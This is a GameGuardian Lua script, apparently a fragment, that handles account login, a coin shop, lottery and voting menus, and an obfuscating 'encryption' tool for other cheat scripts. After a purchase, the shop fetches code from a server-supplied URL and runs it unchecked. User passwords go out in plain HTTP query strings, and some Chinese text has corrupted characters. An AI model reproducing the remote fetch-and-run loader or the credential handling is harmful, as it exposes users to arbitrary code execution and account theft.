gg.makeRequest(Registration..'&user='..UI1[1]..'&pass='..UI1[2]..'&name='..UI1[3]..'&qq='..UI1[4]..'&code='..UI1[5]).content gg.alert(zc) if zc == '注冋成功' then ZKZ() else ZKZ() end end filee = { ["WJ"] = function(path) -- 创建文件夹 支拁多级创建 local results = {} for value in string.gmatch(path,"/([^/]*)") do results[#results+1] = value end local str = "/" local check = {} for index = 1,#results do str = str..results[index].."/" local _,__ = io.open(str) check[#check+1] = {[1] = _, [2] = __, [3] = str} end local Match = "No%s*such%s*file%s*or%s*directory" for index, value in pairs(check) do if value[1] then return gg.toast("路径异常") end if string.find(tostring(value[2]),Match) and (not check[index+1] or string.find(tostring(check[index+1]),Match)) then gg.dumpMemory(0,0,value[3],0) os.remove(value[3]..gg.getTargetPackage().."-maps.txt") gg.toast("正常载入") else gg.toast("路径正常") end end return true end, ["DX"] = function(path) -- 判断文件大小 local division = function(num_1,num_2,num) if num_1 == num_2 then return "."..string.rep("0",num) end local results = string.match(tostring(math.pow(math.fmod(num_1,num_2),1)/num_2),"0%.(%d*)") local str,add = "." if tonumber(string.sub(results,num+1,num+1)) >= 5 then add = 1 else add = 0 end return str..tostring(tonumber(string.sub(results,1,num))+add) end local _,__ = io.open(path) local len if not _ then return __ else len = #tostring(_:read("*a")) end local unit = { "B", "KB", "MB", "GB", "TB" } local result if len < 1024 then return len..unit[1] end for index, value in ipairs(unit) do if len >= 1024^(index-1) and len < 1024^index then result = len/1024^(index-1) ..division(len,1024^(index-1),2)..value end end return result end, ["path"] = function(path,num) -- 路径截取 local results,results_ = {},{} for value in string.gmatch(path,"/([^/]*)") do results[#results+1] = value end for index in ipairs(results) do results_[#results_+1] = results[#results-index+1] end local str = "/" if num > 0 then if num > #results then num = #results end for index = 1,num do str = str..results[index].."/" end else num = tonumber(string.match(num,"%-(%d*)")) if num > #results then num = #results end for index = 1,num do str = results_[index].."/"..str end str = string.format("/%s",string.match(str,"(.+)/")) end return str end } local path = "/storage/emulated/0/易管理账号" local result = filee.WJ(path) if io.open('/storage/emulated/0/易管理账号/登录配置.cfg') then else gg.alert('棇测到您第一次使用易管理登录,以自动生成配置文件') io.open('/storage/emulated/0/易管理账号/登录配置.cfg',"w") end local GET="/storage/emulated/0/易管理账号/登录配置.cfg" local cfg = loadfile(GET) if cfg then cfg = cfg() else cfg={"", "",{}} end if ZUI == 1 then local UI = gg.prompt({ '请输入你的账号[只支持number]','请输入你的密码[字母和数字]' },cfg,{'text','text'}) gg.saveVariable(UI, GET) -- 储存 if UI == nil then return gg.alert('未输入') end User = UI[1] -- 账号 Pass = UI[2] -- 寁码 local Lnterface = YGLAPI..logincs..'admin='..YGLZH..'&user='..User..'&pass='..Pass function Gold() -- 查询订单 function Payment() local cx = gg.prompt({'请输入您得订单号'},{''},{'text'}) if cx == nil then Payment() end local Inquire = gg.makeRequest(YGLYZF..'act=order&pid='..YGLZFID..'&key='..YGLZFMY..'&trade_no='..cx[1]).content local Order = table.json(Inquire) if Order.type == 'alipay' then manner = '支付宝' end if Order.type == 'wxpay' then manner = '微信' end if Order.type == 'qqpay' then manner = 'QQ' end -- 判断是否存在次订单 if Order.code ~= '1' then gg.alert('您可能未发起支付,请重新支付谢谢') end -- 判断是否支付 if Order.status == '1' then gg.alert('慨已成功支付,以下是您的详细信息:\n\n'..'订单创建时间:'..Order.addtime..'\n订卒完成时间:'..Order.endtime..'\n购买商品:'..Order.name..'\n订单号:'..Order.out_trade_no..'\n支付方式:'..manner..'\n\n 正在重新启动中请稍等~') Gold() else gg.alert('您还未支付,请重新购买') Gold() end end -- 获取咆品列表 local VIPSP = gg.makeRequest(YGLZFJ..'admin='..YGLZH).content local jssp = table.json(VIPSP) local jsq = #jssp local messages = "" local UI = {} local reverse = {} local i = 1 local adjustedJssp = {} for i = 0, #jssp do adjustedJssp[i + 1] = jssp[i] end for _, list in ipairs(adjustedJssp) do -- 商品名称 local name = list.name:gsub("%[", "") -- 商品价格 local money = list.money -- 会员ID local epay = list.epay:gsub("epaymoney%-", "") UI[i] = "[" .. i .. "]" .. '商品:'..name..' 售价:'..money.. '\n商品ID:'..epay reverse[name] = i i = i + 1 end table.insert(UI, "返回上页") table.insert(UI, "查询订单") table.insert(UI, "退出使用") -- 显示UI列表 local Main = gg.choice(UI, nil, "购买金币\n\n以下是金币商品列表") if Main == #UI-2 then JBSD() end if Main == #UI-1 then Payment() end if Main == #UI then gg.alert("退出使用") else -- 匹配商品 local item = adjustedJssp[Main] local name = item.name:gsub("%[", "") local money = item.money local epay = item.epay:gsub("epaymoney%-", "") -- 显示商品信息 local alertResult = gg.alert("商品名称: " .. name .. "\n售价: " .. money .. "\n商品ID: " .. epay, '购买', '太贵了我不要') if alertResult == 1 then -- 判断是否存在跳转函数 local HSGG = tostring(gg.goURL) if tostring(HSGG) ~= 'nil' then gg.goURL('http://ysk.ssmax.top/moneyepayapi.php?admin='..YGLZH..'&user='..User..'&id='..epay) local ts = gg.alert('留给您30秒支付时间,请在浏览器畋面手动复制您的订单号,用户查询是否支付成功') if ts == nil then Gold() end -- 延缓30秒,给用户攨付时间 gg.sleep(30000) Gold() end end end end -- 访问 local login = gg.makeRequest(Lnterface).content -- 是否登录成功 if login ~= '登录成功' then gg.alert(login) ZKZ() else gg.alert(login) end -- 获取用户全部信息 local XXAPI = 'echouserdata.php?' local HQXX = gg.makeRequest(YGLAPI..XXAPI..'admin='..YGLZH..'&user='..UI[1]).content local ZX = gg.makeRequest(zxrs).content -- RC4加密函数 function rc4_encrypt(data, key) local S = {} for i = 0, 255 do S[i] = i end local j = 0 for i = 0, 255 do j = (j + S[i] + string.byte(key, (i % #key) + 1)) % 256 S[i], S[j] = S[j], S[i] end local i = 0 local j = 0 local encrypted = "" for counter = 1, #data do i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] encrypted = encrypted .. string.char(string.byte(data, counter) ~ S[(S[i] + S[j]) % 256]) end return encrypted end function rc4_decrypt(encrypted_data, key) return rc4_encrypt(encrypted_data, key) end local grxx -- 用户界面 local Main000,SS2,SS4 function Main000() HQXX = gg.makeRequest(YGLAPI..XXAPI..'admin='..YGLZH..'&user='..UI[1]).content local rc = gg.makeRequest(yz..yzapi).content local unicode=rc:gsub("\\u(%x%x%x%x)", function (code) return utf8.char(tonumber(code, 16)) end ) if table.json(unicode).code == 200 then local data = HQXX local decrypted = rc4_decrypt(data, key) f = decrypted else f = HQXX end grxx = table.json(f) yhm_ = grxx.data.Name local userxx = '昵称:'..grxx.data.Name..'\n登录时间:'..grxx.data.LoginTime..'\n金币数量:'..grxx.data.Money..'\n'..ZX.."\n会员状态:"..(fangan == "" and "未激活" or fangan) SN = gg.choice({ -- '工具商店', '激活普通会员[扣10金币]', '兑换金币', '激活髟级会员\n[若需要卡密请联系加密管理员]', '每日签到', '金币商店', '抽奖系统', '投票系统', "返回上一页", }, nil, userxx) if SN==1 then SS2() end if SN==2 then SS4() end if SN == 3 then local jg = kamiXT1() if jg == "高级版专京验证RTX-4090\xFF\xABciABxYx骋证防爆破" then yz_ = jg end end if SN==4 then QDXT() end if SN==5 then JBSD() end if SN==6 then CJXT() end if SN==7 then TPXT() end if SN==8 then return "tc" end FX1=0 end function QDXT() url = "http://Ysk.ssmax.top/sign.php?admin="..YGLZH.."&user="..cfg[1].."&pass="..cfg[2] gg.alert(gg.makeRequest(url).content) end function CJXT() url = "http://Ysk.ssmax.top/echouser.php?file=luckmoney&admin="..YGLZH.."&pass="..cfg[2] local jg = gg.makeRequest(url).content -- [11221#金币抽奖2|100||1|||1000][37492#金币抽奖|10||1|||50] http://Ysk.ssmax.top/luckmoney.php?admin=染管理账号&pass=用户密码&name=抽奖名称&id=抽奖ID&money=抽奖花费金币数量&max=最高获取金币数量&mini=最少获取金币数量&user=用揷賦号 local tab,tab1 = {},{} jg:gsub("%[(%d+)#(.-)|(%d+)||(%d+)|||(%d+)%]",function(id,name,xh,min,max) tab[#tab+1]={ ["id"]=id, ["name"]=name, ["money"]={xh,min,max} } tab1[#tab1+1]=name end) local xz = gg.choice(tab1,nil,"请选择项目") if not xz then return end url = "http://Ysk.ssmax.top/luckmoney.php?admin="..YGLZH.."&pass="..cfg[2].."&name="..tab[xz].name.."&id="..tab[xz].id.."&money="..tab[xz].money[1].."&max="..tab[xz].money[3].."&mini="..tab[xz].money[2].."&user="..cfg[1] local jg = gg.makeRequest(url).content gg.alert(jg) end function TPXT() url = "http://Ysk.ssmax.top/echouser.php?file=votelist&admin="..YGLZH local jg=gg.makeRequest(url).content local tab,tab1 = {},{} jg:gsub("%(id%):(%d+),%(votetitle%):(.-),(%(option(.-)})",function(id,name,list) local tab0 = {} list:gsub("option%d+%):(.-)[,}]",function(x) tab0[#tab0+1]=x end) tab[#tab+1]={ ["id"]=id, ["name"]=name, ["list"]=tab0 } tab1[#tab1+1]=name end) local xz = gg.choice(tab1,nil,"请选择项目") if not xz then return end url = "http://ysk.ssmax.top/echouser.php?file=vote-"..tab[xz].id.."&admin="..YGLZH.."&pass="..cfg[2] jg = gg.makeRequest(url).content local tab2 = {} jg:gsub("\034option(%d+)\034:\034?(%d+)",function(x,y) tab[xz].list[tonumber(x)] = tab[xz].list[tonumber(x)].." [票数:"..y.."]" end) local xx = gg.choice(tab[xz].list,nil,"请选择投票对象") if not xx then return end url = "http://Ysk.ssmax.top/uservote.php?admin="..YGLZH.."&option=option"..xx.."&user="..cfg[1].."&pass="..cfg[2].."&id="..tab[xz].id local jg = gg.makeRequest(url).content gg.alert(jg) end function JBSD() -- 匹配所有物品ID local jinbi = gg.makeRequest(YGLAPI..'GoldCoinShop.php?admin='..YGLZH..'&file=customshop').content local Tab = {} for id, name, img, price in string.gmatch(jinbi, '{%(id%):(%d+),%(shopname%):([\\%w]+)%(img:(.-)%),%(price%):(%d+)}') do id = tonumber(id) -- id从匹配出的字符串转成数字 Tab[#Tab + 1] = { ['id'] = id, ['name'] = name, ['img'] = img, ['price'] = price, } end local jsq = #Tab local messages = "" local UI = {} local reverse = {} local i = 1 for k, v in pairs(Tab) do local name1=v.name:gsub("\\u(%x%x%x%x)", function (code) return utf8.char(tonumber(code, 16)) end ) UI[i] = "[" .. i .. "]" .. name1 .. '\n售价:' .. v.price .. '金币' reverse[v] = i i = i + 1 end table.insert(UI, "[购买]金币充值") table.insert(UI, "[逇出]返回首页") -- 显示UI列表 local Main = gg.choice(UI, nil, "伥下是贩卖的工具") if Main == #UI-1 then Gold() end if Main == nil then return end if Main == #UI then gg.setVisible(true) return else local shop = Tab[Main] local nname=shop.name:gsub("\\u(%x%x%x%x)", function (code) return utf8.char(tonumber(code, 16)) end ) local scimg = shop.img:gsub('\\','') local tcshop = gg.alert('选中的商品信息:\n\n商品ID:'..shop.id..'\n商品名称:'..nname..'\n商品售价:'..shop.price,'查看商品图片','我要购买','返回在看看') if tcshop == 1 then image(scimg) gg.sleep(6000) JBSD() end if tcshop == 2 then local mdml = gg.makeRequest(YGLAPI..'customshop.php?admin='..YGLZH..'&user='..User..'&pass='..Pass..'&id='..shop.id..'&shopname='..nname..'(img:'..scimg..')&price='..shop.price..'&value1=账号为:'..User).content if mdml:find('购买成功') then local scfh = mdml:gsub('购买成功','') gg.alert('正在开启中') pcall(load(gg.makeRequest(scfh))) else gg.alert(mdml) JBSD() end end if tcshop == 3 then JBSD() end end end function SS2() if yz_=="普通版专享验证RTX-4090\xFF\xABciABxYx骋证防爆破" or yz_ == "高级版专享验证RTX-4090\xFF\xABciABxYx骋证防爆破" then return gg.alert("你已激活过会员") end local At_present=grxx.data.Money if tonumber(At_present) < tonumber(10) then return gg.alert("请购买卡密") else QD="10" url='http://Ysk.ssmax.top/moneyspend.php?admin='..YGLZH..'&user='..cfg[1]..'&pass='..cfg[2]..'&num='..tonumber(QD) a=gg.makeRequest(url).content if a ~= "扣除成功" then return os.exit() else url='http://Ysk.ssmax.top/sign.php?admin='..YGLZH..'&user='..cfg[1]..'&pass='..cfg[2] a=gg.makeRequest(url).content gg.alert("激活成功") fangan = "普通版" yz_ = "普通版专享骋证RTX-4090\xFF\xABciABxYx验证防爆破" end end end function SS4() local zx = gg.prompt({'兑换金币[兑换后请返回主页并重新进入]'},{'请输入你购买的卡密'},{'text'}) url='http://Ysk.ssmax.top/kalmanuse.php?admin='..YGLZH..'&user='..cfg[1]..'&kalman='..zx[1] a=gg.makeRequest(url).content gg.alert(a) end function SS5() os.exit() end while true do if gg.isVisible(true) then FX1 = nil gg.setVisible(false) end if FX1 == nil then local sb = Main000() if sb == "tc" then gg.setVisible(true) break end end end end end ZKZ() end main0 = "/storage/emulated/0/" local function Main() local Var = "3.0.1" local time = "2024/8/14" local menu = gg.choice({"选挩脚本:"..main0,"开始加密","加密配置","用户管理","退出加密"},nil,[[狐狸]]..fangan..[[-加密 版本: ]]..Var..[[ 更新时间: ]]..time..[[ - 该加密出来的脚本仅允许RLGG执行 - 新注册用户刯免费亓验加密功能一个月 建议使用高级版加密 会员越高级越安全哦 账号仅供个人使用+不可以任何形式外借+不可帮别人加密+一经发现将拉黑IP -----------------------------------------]]) if menu == 1 then code = choose() end if menu == 2 then kaishi() end if menu == 3 then peizhi = encryptCfg() end if menu == 4 then kamiXT0() end if menu == 5 then os.exit() end end function choose() yx=gg.prompt({"选择脚本"},{main0},{"file","checkbox","checkbox"}) if yx==nil then return gg.alert("未选择")end last=yx[1] test,error=loadfile(last) if test==nil then gg.alert('脚本错误!\n\n╾╾╾╾╾⚠ 问 题 所 在 ️⚠╾╾╾╾╾\n错误:\n'..error) return end gg.alert("选择成功") main0 = yx[1] gg.setVisible(true) return yx[1] end function kaishi() if not code then return gg.alert("脚本未选择") end if yz_ ~= "普通版专享验证RTX-4090\xFF\xABciABxYx骋证防爆破" and yz_ ~= "高级版专享验证RTX-4090\xFF\xABciABxYx验证防爆破" then return gg.alert("请先激活加密") end ym=io.open(code,"r"):read("*a") if not peizhi then peizhi = "" end last = code..".𝙀𝙣𝙘.lua" ym=enc(ym,ym,peizhi) ym="\034"..ym:gsub(".",function(x) return "\\x"..string.format("%02x",x:byte()) end).."\034" ym=[===[ local UI = [==[ ______________________________ | ["加密名称"] | 狐狸加密 |______________|_______________ | ["加密作者"] | Yx |______________|_______________ | ["加密版本"] | ]===]..fangan..[===[ |______________|_______________ | ["脚本作者"] | ]===]..yhm_..[===[ |______________|_______________ ]==] gg_getFile = gg.getFile() load(]===]..ym..[[)()]] ym=string.dump(load(ym),true) io.open(last,"w"):write(ym) print("加密成功") gg.setVisible(true) os.exit() end while true do if gg.isVisible() then gg.setVisible(false) Main() end end